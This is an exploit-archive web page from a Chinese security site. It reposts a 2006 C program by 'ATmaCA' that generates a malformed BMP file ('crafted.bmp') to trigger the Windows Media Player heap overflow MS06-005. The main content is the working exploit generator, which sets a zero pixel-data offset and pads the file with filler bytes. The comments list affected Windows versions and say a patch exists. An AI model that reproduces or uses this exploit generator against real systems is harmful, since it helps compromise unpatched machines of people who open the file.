首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows Media Player BMP Handling Buffer Overflow Exploit (MS06-005)
来源:http://www.spyinstructors.com 作者:ATmaCA 发布时间:2006-02-16  

Microsoft Windows Media Player BMP Handling Buffer Overflow Exploit (MS06-005)


/*
*
* Windows Media Player BMP Heap Overflow (MS06-005)
* Bug discovered by eEye - http://www.eeye.com/html/research/advisories/AD20060214.html
* Exploit coded by ATmaCA
* Web: http://www.spyinstructors.com && http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to Kozan
*
*/

/*
*
* Systems Affected:
* Microsoft Windows Media Player 7.1 through 10
*
* Windows NT 4.0
* Windows 98 / ME
* Windows 2000 SP4
* Windows XP SP1 / SP2
* Windows 2003
*
*
*/

/*
*
* In this vulnerability,payload is loaded to different places in memory each time.
* but some time is very easy to call our shell code :
* http://www.spyinstructors.com/atmaca/research/wmp.JPG
* but some times not =) because of ,no shell this time
*
*/

/*
*
* Microsoft has released a patch for this vulnerability.
* The patch is available at:
* http://www.microsoft.com/technet/security/bulletin/ms06-005.mspx
*
*/

#include <windows.h>
#include <stdio.h>

#define BITMAP_FILE_SIZE 0xA8D2
#define BITMAP_FILE_NAME "crafted.bmp"

#pragma pack( push )
#pragma pack( 1 )

// bitmap file format - http://atlc.sourceforge.net/bmp.html
//File information header provides general information about the file
typedef struct _BitmapFileHeader {
WORD bfType;
DWORD bfSize;
WORD bfReserved1;
WORD bfReserved2;
DWORD bfOffBits;
} BMPFHEADER;

//Bitmap information header provides information specific to the image data
typedef struct _BitmapInfoHeader{
DWORD biSize;
LONG biWidth;
LONG biHeight;
WORD biPlanes;
WORD biBitCount;
DWORD biCompression;
DWORD biSizeImage;
LONG biXPelsPerMeter;
LONG biYPelsPerMeter;
DWORD biClrUsed;
DWORD biClrImportant;
} BMPIHEADER;

#pragma pack( pop )

int main(void)
{
FILE *File;
BMPFHEADER *bmp_fheader;
BMPIHEADER *bmp_iheader;
char *pszBuffer;

printf("\nWindows Media Player BMP Heap Overflow (MS06-005)");
printf("\nBug discovered by eEye");
printf("\nExploit coded by ATmaCA");
printf("\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com");
printf("\nE-Mail: atmaca@icqmail.com");
printf("\nCredit to Kozan");


if ( (File = fopen(BITMAP_FILE_NAME,"w+b")) == NULL ) {
printf("\n [E:] fopen()");
exit(1);
}

bmp_fheader=(BMPFHEADER*)malloc(sizeof(BMPFHEADER));
bmp_iheader=(BMPIHEADER*)malloc(sizeof(BMPIHEADER));
pszBuffer = (char*)malloc(BITMAP_FILE_SIZE);

memset(pszBuffer,0x41,BITMAP_FILE_SIZE);

bmp_fheader->bfType = 0x4D42; // "BM"
bmp_fheader->bfSize = BITMAP_FILE_SIZE;
bmp_fheader->bfReserved1 = 0x00;
bmp_fheader->bfReserved2 = 0x00;

// eEye - MAGIC
// Antiviruses will get the signature from here!!!
bmp_fheader->bfOffBits = 0x00; //( sizeof(BMPFHEADER) + sizeof(BMPIHEADER) );

bmp_iheader->biSize = 0x28;
bmp_iheader->biWidth = 0x91;
bmp_iheader->biHeight = 0x63;
bmp_iheader->biPlanes = 0x01;
bmp_iheader->biBitCount = 0x18;
bmp_iheader->biCompression = 0x00;
bmp_iheader->biSizeImage = 0xA89C;
bmp_iheader->biXPelsPerMeter = 0x00;
bmp_iheader->biYPelsPerMeter = 0x00;
bmp_iheader->biClrUsed = 0x00;
bmp_iheader->biClrImportant = 0x00;

memcpy(pszBuffer,bmp_fheader,sizeof(BMPFHEADER));
memcpy(pszBuffer+sizeof(BMPFHEADER),bmp_iheader,sizeof(BMPIHEADER));

fwrite(pszBuffer, BITMAP_FILE_SIZE-1, 1,File);
fwrite("\x00", 1,1, File); //Terminator

fclose(File);
printf("\n\n" BITMAP_FILE_NAME" has been created in the current directory.\n");

return 1;
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Power Daemon v2.0.2 Remote For
·Microsoft Windows Media Player
·OpenVMPSd v1.3 Remote Format S
·Microsoft Windows Media Player
·FlySpray 0.9.7 remote commands
·Microsoft Windows Media Player
·EGS Enterprise Groupware Syste
·Microsoft Color Management Mod
·Microsoft HTML Help Workshop .
·PHPKit <= v.1.6.1 release 2
·D-Link Wireless Access Point U
·Microsoft Windows Media Player
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved